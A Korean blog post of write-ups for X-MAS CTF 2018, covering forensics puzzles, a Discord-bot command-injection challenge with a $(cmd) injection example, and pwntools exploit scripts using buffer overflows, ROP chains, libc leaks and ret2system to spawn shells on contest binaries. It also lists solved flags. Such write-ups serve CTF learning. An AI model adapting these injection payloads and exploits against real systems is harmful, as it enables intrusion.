Write-up

[X-MAS CTF 2018] writeup

ch4rli3kop 2018. 12. 29. 01:15
반응형
종강하니까 대회 마지막 날이여서 별로 참가하지는 않았다. 그냥 집에서 할 거 없어서 뚜닥뚜닥해봣음



[forensic] Oh Christmas Tree  25

Santa is sure that he left a gift somewhere around here. Can you help him find it?

대충 플래그가 보임.

X-MAS{0_Chr15tm
as_tr33_1s_th1s_a
_flag_i_wond3r}


[forensic] Message from Santa  50

Santa prepared a flag for you. Unfortunately, he has no idea where he left it. Finders keepers.
classified_gift_distribution_schema.img

이미지 파일을 ftk imager와 같은 툴을 이용하여 잘 뒤져보면 다음의 사진파일들이 삭제된 흔적을 찾을 수 있음. 
해당 파일들을 잘 맞추면 됌. 


X-MAS{1t_l00k5_l1k3_s4nta_m4de_4_m1stak3_sorry}



[forensic] Santa's Security Levels  50


Santa has a flag hidden for you! Find out where. All letters, except for the X-MAS header, are lowercase.
(Flag is Non-Standard, please add X-MAS{ } to the found string) Author: Googal
https://www.xmas-ctf.cf/files/0fd5e1c29d485337ae1deea14a466294/message.mp3


mp3 파일하나 주는데 누가들어도 모스부호 소리가 남. audacity로 까서 직접 모스 코드를 따던지 아니면 조금 부정확하지만 https://morsecode.scphillips.com/labs/audio-decoder-adaptive/ 요런 사이트를 이용하던지 해서 코드를 decode해보면 아래와 같이 나옴.

_ _ . . . _ . . . . . . _ _ . . . _ . _ . _ _ _ _ _ _ _ . _ _ _ _ _ _ _ _ _ _ _ . . _ . _ . . _ . . _ _ _ . _ . . .



여기서 github 사용자라면 대충 아래처럼 때려맞출 수 있음. 개삽질햇자너..ㅎ
github.com/gooogal/xmas


여기서 또 눈치가 필요하지만 대문자는 너무 티가 나므로 ok

FNAGNVFFBTYNQZQRH --(ROT13)-> SANTAISSOGLADMDEU
X-MAS{santaissogladmdeu}


[forensic] Hidden in almost plain sight  374

A strange file was sent to Santa's email address and he is puzzled. Help him find what's wrong with the file and you can keep any flag you find in the process.

걍 사진파일 height 값만 수정해주면 됌.
괜히 저 핑크가 의심스러워서 이것저것 많이 삽질했다...ㅎ

크 역시 다른 사람 롸업에서 적어도 한가지씩은 꿀팁쓰들을 얻어가는 거 같당.
hxd로 파일 포맷 뒤져가며 직접 값을 수정했던게 엊그저께같은디 TweakPNG라는 요런놈의 꿀 도구가 있었드아니...

change height 3250 -> 3600

X-MAS{who_knows_wh3re_s4anta_hid3s_the_g1fts}


[web] Santa's Helper Mechagnome

호기심에 web 문제 좀 기웃거려봤는데 굉장히 신선한 문제라 기록. 디스코드 봇에 명령어들을 이용한 command injection을 발생시켜 플래그를 얻는 문제임.

* $(cmd) : For example, echo $(whoami) or $(touch test.sh; echo 'ls' > test.sh)
를 이용하여 Command Injection을 선사!

X-MAS{Wh0_Kn3W_4_H3lp3r_M3ch4gN0m3_W0uLd_b3_S0_vULN3R4bL3}


[pwn] Greetings from Santa  50


from pwn import *

r = process('./chall')
#gdb.attach(r,'b* 0x080486C4')


payload = ''
payload += 'y'
payload += 'AAA'
payload += 'A'*0x3c
payload += p32(0x8048898)

r.sendlineafter('Greetings from Santa! Wanna talk? ',payload)
r.sendlineafter('What is your name? ','/bin/sh')

r.interactive()



[pwn] Random Present  50


from pwn import *

r = process('./RandomPresent')
#r = remote('199.247.6.180',10005)

#0x000000000040077b : pop rdi ; ret

payload = ''
payload += 'A'*0x20
payload += 'B'*0x8
payload += p64(0x000000000040077b) # pop rdi; ret
payload += p64(0x601018) # put
payload += p64(0x000000000400550) # puts@plt
payload += p64(0x000000000040077b) # pop rdi; ret
payload += p64(0x601030) # setbuf
payload += p64(0x000000000400550) # puts@plt
payload += p64(0x0000000000400676) #main

'''
pwndbg> x/gx 0x601018
0x601018:    0x00007ffff7a7c690
pwndbg> p 0x00007ffff7a7c690 - 0x7ffff7a0d000
$1 = 456336
'''

r.recvuntil('Santa allowed you to ROP me!\n')
r.sendline(payload)

puts_addr = u64(r.recvline()[:-1].ljust(8,'\x00'))
success('puts_addr = ' + hex(puts_addr))

setbuf_addr = u64(r.recvline()[:-1].ljust(8,'\x00'))
success('setbuf_addr = ' + hex(setbuf_addr))

libc_base = puts_addr - 456336
log.info('libc_base = '+ hex(libc_base))

onegadget = libc_base + 0x4526a

payload2 = ''
payload2 += 'A'*0x28
payload2 += p64(onegadget)


r.recvuntil('Santa allowed you to ROP me!\n')
r.sendline(payload2)

r.interactive()



[pwn] Pinnki's Gift  50

In this challenge, Santa Pie will give you some unusual gifts. See if you can use this wisdom to get the flag before Christmas.

from pwn import *

#r = process('./pinkiegift')
r = remote('199.247.6.180',10006)
#gdb.attach(r,'b* 0x080485d9')

r.recvuntil('Here are some gifts from Santa: ')
tmp = r.recvline()

bss_addr = int(tmp[0:9],16)
system_addr = int(tmp[10:],16)


payload = 'aaaaa'

r.sendline(payload)
r.recvline()

'''
0x080483ad : pop ebx ; ret
'''
payload2 = ''
payload2 += 'A'*0x88
payload2 += p32(0x080483D0) # fgets.plt
payload2 += p32(0x080483ad) # pop ret;
payload2 += p32(bss_addr)   # dest
payload2 += p32(system_addr)# libc_system
payload2 += 'BBBB'
payload2 += p32(bss_addr)     # /bin/sh

r.sendline(payload2)
r.sendline('/bin/sh')

r.interactive()

훨씬 더 간단한 풀이쓰가 있었으랍
from pwn import *

#r = process('./pinkiegift')
r = remote('199.247.6.180',10006)
#gdb.attach(r,'b* 0x080485d9')

r.recvuntil('Here are some gifts from Santa: ')
tmp = r.recvline()

bss_addr = int(tmp[0:9],16)
system_addr = int(tmp[10:],16)


payload = 'aaaaa'

r.sendline(payload)
r.recvline()

'''
pwndbg> search sh
pinkiegift      0x8048f48 jae    0x8048fb2 /* 'sh' */
libc-2.23.so    0xf7d58008 jae    0xf7d58072 /* 'shell' */
'''
payload2 = ''
payload2 += 'A'*0x88
payload2 += p32(system_addr)# libc_system
payload2 += 'BBBB'
payload2 += p32(0x8048f48)     # sh

r.sendline(payload2)

r.interactive()




ubuntu 18 좀 진작에 설치 좀 해놓을걸 그랫다
대회가 18로 운영되길래 부랴부랴 설치하면서 하고 있었는데 갑작스럽게 내 소듕한 놋북이 미러볼로 변하면서 내 정신머리와 지갑이 저 하늘로 가버렷따...☆ 


ㅎㅎ...내 삼십육마넌.....


반응형

'Write-up' 카테고리의 다른 글

[pwnable.tw] silver_bullet  (0) 2019.01.07
[pwnable.tw] start  (0) 2019.01.07
[RITSEC 2018] Gimme sum fud write up  (0) 2018.11.22
[RITSEC 2018] write up  (0) 2018.11.19
[InCTF 2018] Lost writeup  (0) 2018.11.06